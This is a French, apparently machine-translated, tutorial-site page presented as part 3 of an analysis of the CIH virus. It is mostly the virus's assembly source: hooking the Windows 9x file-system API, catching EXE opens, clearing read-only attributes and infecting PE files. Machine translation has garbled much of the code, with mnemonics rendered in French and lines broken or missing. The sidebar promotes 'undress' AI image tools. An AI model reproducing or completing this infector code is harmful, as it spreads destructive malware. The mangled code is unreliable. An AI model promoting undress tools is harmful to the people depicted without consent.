Maison développement back-end tutoriel php Analyse d'exemples de codes sources de programmes antivirus-virus CIH[3]

Analyse d'exemples de codes sources de programmes antivirus-virus CIH[3]

Jan 17, 2017 am 11:16 AM

jmp ExitRing0Init ;Exit Ring0 level
 
 ;Taille du code fusionné
 CodeSizeOfMergeVirusCodeSection = offset $
 
 ;Nouvel appel de fonction IFSMgr_InstallFileSystemApiHook
InstallFileSystemApiHook :
push ebx

 call @4
 
 @4:
 pop ebx; Obtenir l'adresse de décalage de l'instruction actuelle
 add ebx, FileSystemApiHook-@4 La différence plus le décalage est égale à FileSystemApiHook Offset;
 
 push ebx
 int 20h ; Appelez Vxd pour supprimer le hook pointant vers FileSystemApiHook
IFSMgr_RemoveFileSystemApiHook = $
 dd 00400068h ; Utilisez les registres eax, ecx, edx et flags
pop ; eax
 
 ;Appelez la fonction IFSMgr_InstallFileSystemApiHook d'origine pour connecter le hook FileSystemApiHook
 push dword ptr [esp 8]
 call OldInstallFileSystemApiHook-@3[ebx]
 
 pop ecx
eax
push ebx

call OldInstallFileSystemApiHook-@3[ebx]
pop ecx

mov dr0, eax ; ajuster l'adresse OldFileSystemApiHook

pop eax
pop ebx
 
 ret
 
 OldInstallFileSystemApiHook dd;Original InstallFileSystemApiHook adresse d'appel
 
 ;IFSMgr_FileSystemHook entrée d'appel
 FileSystemApiHook :
 @ 3 = FileSystemApiHook
 
pousser ad ; save register

call @5

@5:
pop esi ; mov esi, offset ; 5;esi est le décalage de FileSystemApiHook
;La différence plus le décalage de VirusGameDataStartAddress est égal au décalage de VirusGameDataStartAddress

;Testez l'indicateur "occupé", et "occupé" va à pIFSFunc
test byte ptr (OnBusy-@6)[esi], 01h
jnz pIFSFunc

; Si le fichier n'est pas ouvert, allez au prevhook
lea ebx, [esp 20h 04h 04h] ; est l'adresse de FunctionNum
 
 ;Le format d'appel du hook du système de fichiers est le suivant
 ;FileSystemApiHookFunction(pIFSFunc FSDFnAddr, int FunctionNum, int Drive,
 ;int ResourceFlags, int CodePage, pioreq pir )
 
 ;Jugement Cet appel est-il pour ouvrir un fichier ? Sinon, passez au hook de fichier précédent
cmp dword ptr [ebx], 00000024h
jne prevhook

inc byte ptr (OnBusy-@6) [esi] ; Activer OnBusy ; Définir l'indicateur "busy" sur "busy"
 
 ;Obtenir la lettre de lecteur spécifiée par le chemin du fichier, puis mettre le nom du lecteur dans le FileNameBuffer
;Si la lettre du lecteur est 03h, alors indiquez que le lecteur est le lecteur C
mov esi, offset FileNameBuffer
add esi, FileNameBuffer-@6; pointe vers FileNameBuffer

push esi; ; save
mov al, [ebx 04h] ;ebx 4 est l'adresse du numéro de disque
 
Est-ce une adresse UNC (conventions de dénomination universelles) Si oui, transférez vers CallUniToBCSPath
cmp ? al, 0ffh
je CallUniToBCSPath

add al, 40h
 mov ah, ':'
 
 mov [esi], eax traité sous la forme de "X:", c'est-à-dire ajouter deux points après la lettre de lecteur
 
 inc esi
 inc esi
 
 ; Convertir les caractères Unicode canonisés en jeu de caractères BCS ordinaire, appeler la méthode
 ;UniToBCSPath(unsigned char * pBCSPath, ParsedPath * pUniPath,
 ;unsigned int maxLength, int charSet)
CallUniToBCSPath:
push 00000000h ;Jeu de caractères
push FileNameBufferSize ;Longueur des caractères
mov ebx, [ebx 10h]
mov eax, [ebx 0ch]
add eax, 04h
push eax ;Première adresse du caractère Uni
push esi ;Première adresse du caractère BCS
int 20h ;appeler UniToBCSPath
UniToBCSPath = $
dd 00400041h call id
add esp, 04h*04h

; Déterminez si le fichier est un fichier EXE
cmp [esi eax-04h], 'EXE.' esi
jne DisableOnBusy

IF DEBUG

Les informations suivantes sont destinées au débogage
cmp [esi eax-06h], 'KCUF'
jne DisableOnBusy

ENDIF

; Déterminez si le fichier existe. S'il n'existe pas, tournez-vous vers DisableOnBusy à
 cmp word ptr [ebx 18h], 01h
jne DisableOnBusy

; Obtenir les attributs du fichier
mov ax, 4300h
int 20h ; Appelez IFSMgr_Ring0_FileIO pour obtenir les attributs du fichier
IFSMgr_Ring0_FileIO = $
dd 00400032h ; Numéro d'appel

jc DisableOnBusy
push ecx

; Obtenir l'adresse IFSMgr_Ring0_FileIO
mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]
mov edi, [edi]

; Déterminez si le fichier est en lecture seule, si c'est le cas modifiez les attributs du fichier, sinon allez dans OpenFile
test cl, 01h
jz OpenFile

mov ax, 4301h
xor ecx, ecx
appelez edi ;Appelez la fonction de IFSMgr_Ring0_FileIO pour modifier les attributs du fichier pour rendre le fichier accessible en écriture
 
;Ouvrez le fichier
OpenFile :
;Attributs du fichier
  xor edx, edx
inc edx
mov ebx, edx
inc ebx ;esi est la première adresse du nom de fichier
call edi ;Appelez la fonction de IFSMgr_Ring0_FileIO pour ouvrir le fichier

xchg ebx, eax ;Enregistrer le descripteur de fichier dans ebx
test cl, 01h
jz IsOpenFileOK

;Restaurer les attributs du fichier
mov ax, 4301h
call edi;Restaurer les attributs du fichier

;Si le fichier est ouvert avec succès, sinon, tournez-vous vers DisableOnBusy
IsOpenFileOK:
popf
jc DisableOnBusy

Le fichier est ouvert avec succès
push esi ; la première adresse de la zone de données du nom de fichier sur la pile

pushf ;CF = 0, save flag
 
 add esi, DataBuffer-@7 ;
 
 ;Obtenir le décalage du nouvel en-tête de fichier
xor eax, eax
 mov ah, 0d6h;Le numéro de fonction de lecture du fichier (R0_READFILE) de IFSMgr_Ring0_FileIO
 
 ;Afin de minimiser la longueur du code du virus, enregistrer eax dans ebp
 mov ebp, eax
 
Push 00000004h ; Lire 4 octets
pop ecx
push 0000003ch ; décalage d'en-tête de fichier 3ch
pop edx
appel edi ; Lire le fichier vers esi
 
mov edx, [esi] ; décalage d'en-tête de fichier Windows vers edx

; marque infectée de l'en-tête du fichier graphique
dec edx
mov eax, ebp ; numéro de fonction
appeler edi ; lire le fichier vers esi

; s'il a été infecté
; déterminer s'il s'agit d'un fichier auto-extractible WinZip , si c'est le cas, il ne sera pas infecté par Self-Extractor *
 cmp dword ptr [esi], 00455000h; Fichier PE (marque "PE/0/0")
 jne CloseFile; Sinon, fermez le fichier
 
 ;S'il s'agit d'un fichier PE et qu'il n'est pas infecté, commencez à infecter le fichier
push ebx;Enregistrer le descripteur de fichier
 push 00h
 
 ;Définir l'indicateur d'infection virale
 push 01h ; Taille de la marque
push edx ; edi est l'adresse de IFSMgr_Ring0_FileIO

mov dr1, esp ; save esp

; Set NewAddressOfEntryPoint Entry
Push eax

;Lire l'en-tête du fichier
mov eax, ebp
mov cl, SizeOfImageHeaderToRead ;Pour lire 2 octets
ajoutez edx, 07h ; l'en-tête du fichier PE 07h est NumberOfSections (nombre de blocs)
appelez edi ;
lea eax, (AddressOfEntryPoint-@8)[edx]
push eax ; pointeur de fichier
 
 lea eax, (NewAddressOfEntryPoint-@8)[esi]
 push eax; 🎜> 
 ;Mettez la valeur de edx au début du tableau des blocs de codes de virus de fichiers
movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi]
lea edx, [eax edx 12h] ; edx est le décalage de la table des blocs de codes de virus
 
; obtient la taille de la table de blocs de codes de virus
 mov al, SizeOfScetionTable ;La taille de chaque entrée de la table de blocs
 
mov cl, (NumberOfSections-@8)[esi]
 
 mul cl ;Chaque entrée de la table de blocs multipliée par le nombre de blocs Le nombre est égal à la taille de la table de blocs
 
Définir le code du virus; table de blocs
lea esi, (StartOfSectionTable-@8)[esi]; esi pointe vers la première adresse de la table de blocs (dans la zone de données dynamiques du virus)

Ce qui précède est le contenu du programme antivirus exemple de code source d'analyse-virus CIH [3]. Pour plus de contenu connexe, veuillez faire attention au site Web PHP chinois (www.php.cn) !



Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn

Outils d'IA chauds

Undresser.AI Undress

Undresser.AI Undress

Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover

AI Clothes Remover

Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool

Undress AI Tool

Images de déshabillage gratuites

Clothoff.io

Clothoff.io

Dissolvant de vêtements AI

AI Hentai Generator

AI Hentai Generator

Générez AI Hentai gratuitement.

Article chaud

R.E.P.O. Crystals d'énergie expliqués et ce qu'ils font (cristal jaune)
2 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
Repo: Comment relancer ses coéquipiers
4 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
Hello Kitty Island Adventure: Comment obtenir des graines géantes
3 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
Combien de temps faut-il pour battre Split Fiction?
3 Il y a quelques semaines By DDD

Outils chauds

Bloc-notes++7.3.1

Bloc-notes++7.3.1

Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise

SublimeText3 version chinoise

Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1

Envoyer Studio 13.0.1

Puissant environnement de développement intégré PHP

Dreamweaver CS6

Dreamweaver CS6

Outils de développement Web visuel

SublimeText3 version Mac

SublimeText3 version Mac

Logiciel d'édition de code au niveau de Dieu (SublimeText3)

11 meilleurs scripts de raccourcissement d'URL PHP (gratuit et premium) 11 meilleurs scripts de raccourcissement d'URL PHP (gratuit et premium) Mar 03, 2025 am 10:49 AM

Les longues URL, souvent encombrées de mots clés et de paramètres de suivi, peuvent dissuader les visiteurs. Un script de raccourcissement d'URL offre une solution, créant des liens concis idéaux pour les médias sociaux et d'autres plateformes. Ces scripts sont utiles pour les sites Web individuels

Introduction à l'API Instagram Introduction à l'API Instagram Mar 02, 2025 am 09:32 AM

À la suite de son acquisition de haut niveau par Facebook en 2012, Instagram a adopté deux ensembles d'API pour une utilisation tierce. Ce sont l'API graphique Instagram et l'API d'affichage de base Instagram. En tant que développeur créant une application qui nécessite des informations à partir d'un

Travailler avec les données de session Flash dans Laravel Travailler avec les données de session Flash dans Laravel Mar 12, 2025 pm 05:08 PM

Laravel simplifie la gestion des données de session temporaires à l'aide de ses méthodes de flash intuitives. Ceci est parfait pour afficher de brefs messages, alertes ou notifications dans votre application. Les données ne persistent que pour la demande ultérieure par défaut: $ demande-

Construisez une application React avec un Laravel Back End: Partie 2, React Construisez une application React avec un Laravel Back End: Partie 2, React Mar 04, 2025 am 09:33 AM

Il s'agit de la deuxième et dernière partie de la série sur la construction d'une application React avec un back-end Laravel. Dans la première partie de la série, nous avons créé une API RESTful utilisant Laravel pour une application de liste de base sur le produit. Dans ce tutoriel, nous serons Dev

Misque de réponse HTTP simplifié dans les tests Laravel Misque de réponse HTTP simplifié dans les tests Laravel Mar 12, 2025 pm 05:09 PM

Laravel fournit une syntaxe de simulation de réponse HTTP concise, simplifiant les tests d'interaction HTTP. Cette approche réduit considérablement la redondance du code tout en rendant votre simulation de test plus intuitive. L'implémentation de base fournit une variété de raccourcis de type de réponse: Utiliser illuminate \ support \ faades \ http; Http :: faux ([[ 'google.com' => 'Hello World', 'github.com' => ['foo' => 'bar'], 'forge.laravel.com' =>

Curl dans PHP: Comment utiliser l'extension PHP Curl dans les API REST Curl dans PHP: Comment utiliser l'extension PHP Curl dans les API REST Mar 14, 2025 am 11:42 AM

L'extension PHP Client URL (CURL) est un outil puissant pour les développeurs, permettant une interaction transparente avec des serveurs distants et des API REST. En tirant parti de Libcurl, une bibliothèque de transfert de fichiers multi-protocol très respectée, PHP Curl facilite Efficient Execu

12 meilleurs scripts de chat PHP sur Codecanyon 12 meilleurs scripts de chat PHP sur Codecanyon Mar 13, 2025 pm 12:08 PM

Voulez-vous fournir des solutions instantanées en temps réel aux problèmes les plus pressants de vos clients? Le chat en direct vous permet d'avoir des conversations en temps réel avec les clients et de résoudre leurs problèmes instantanément. Il vous permet de fournir un service plus rapide à votre personnalité

Annonce de l'enquête sur la situation en 2025 PHP Annonce de l'enquête sur la situation en 2025 PHP Mar 03, 2025 pm 04:20 PM

L'enquête sur le paysage PHP 2025 étudie les tendances actuelles de développement du PHP. Il explore l'utilisation du cadre, les méthodes de déploiement et les défis, visant à fournir des informations aux développeurs et aux entreprises. L'enquête prévoit la croissance de la PHP moderne versio

See all articles